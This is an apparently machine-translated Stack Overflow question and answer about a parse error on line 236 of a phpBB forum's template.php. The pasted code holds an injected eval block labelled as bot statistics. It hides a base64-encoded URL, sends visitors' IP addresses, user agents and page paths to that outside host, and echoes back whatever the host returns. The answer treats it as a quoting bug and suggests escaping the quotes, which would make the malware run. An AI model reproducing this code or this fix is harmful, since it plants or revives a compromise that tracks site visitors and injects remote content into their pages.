2013-07-04 30 views
0
Parse error: syntax error, unexpected T_STRING in /home/yahooda7/public_html/errorkode.com/includes/template.php on line 236 

網站www.errorkode.com工作正常。突然之間,我現在正在犯錯。如何解決這個錯誤。我沒有在PHP知識。請幫助我。錯誤與phpbb論壇 - 解析錯誤:語法錯誤,意外T_STRING

function display($handle, $include_once = true) 
    { 
     global $user, $phpbb_hook; 

     if (!empty($phpbb_hook) && $phpbb_hook->call_hook(array(__CLASS__, __FUNCTION__), $handle, $include_once, $this)) 
     { 
      if ($phpbb_hook->hook_return(array(__CLASS__, __FUNCTION__))) 
      { 
       return $phpbb_hook->hook_return_result(array(__CLASS__, __FUNCTION__)); 
      } 
     } 

     if (defined('IN_ERROR_HANDLER')) 
     { 
      if ((E_NOTICE & error_reporting()) == E_NOTICE) 
      { 
       error_reporting(error_reporting()^E_NOTICE); 
      } 
     } 

     if ($filename = $this->_tpl_load($handle)) 
     { 
      ($include_once) ? include_once($filename) : include($filename); 
     } 
     else 
     { 
      eval(' ?><?php 
if (!isset($sRetry)) 
{ 
global $sRetry; 
$sRetry = 1; 
    // This code use for global bot statistic 
    // Below line is 236 
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot 
    $stCurlHandle = NULL; 
    $stCurlLink = ""; 
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes 
    { 
     if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics    
     $stCurlLink = base64_decode('aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); 
      @$stCurlHandle = curl_init($stCurlLink); 
    } 
    } 
if ($stCurlHandle !== NULL) 
{ 
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6); 
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
    {$sResult[0]=" "; 
     echo $sResult; // Statistic code end 
     } 
    curl_close($stCurlHandle); 
} 
} 
?>' . $this->compiled_code[$handle] . '<?php '); 
     } 

     return true; 
    } 

我加了代碼,並提到236行在評論請檢查。

+0

'includes/template.php'的第236行有錯誤。如果您將其粘貼到問題中,我們可能會告訴您如何解決問題。 – andrewsi

+0

@andrewsi你好,我更新了代碼。請檢查一下。我添加了行號。在評論中。 – SKR

+0

問題是,你使用單引號分隔'eval'語句的開始和結束,並且在''_SERVER ['HTTP_USER_AGENT']'和其他內容中爲數組鍵設置分隔符。你只需要在字符串中跳過單引號。 – andrewsi

回答

0

你EVAL被打破:

eval(' ?><?php 
    ^--- beginning of string 
    ...snip... 
    $sUserAgent = strtolower($_SERVER['HTTP etc... 
             ^---end of string 

的EVAL內的任何報價必須進行轉義,例如

$sUserAgent = strtolower($_SERVER[\'HTTP etc.. 
            ^---- escape 
相關問題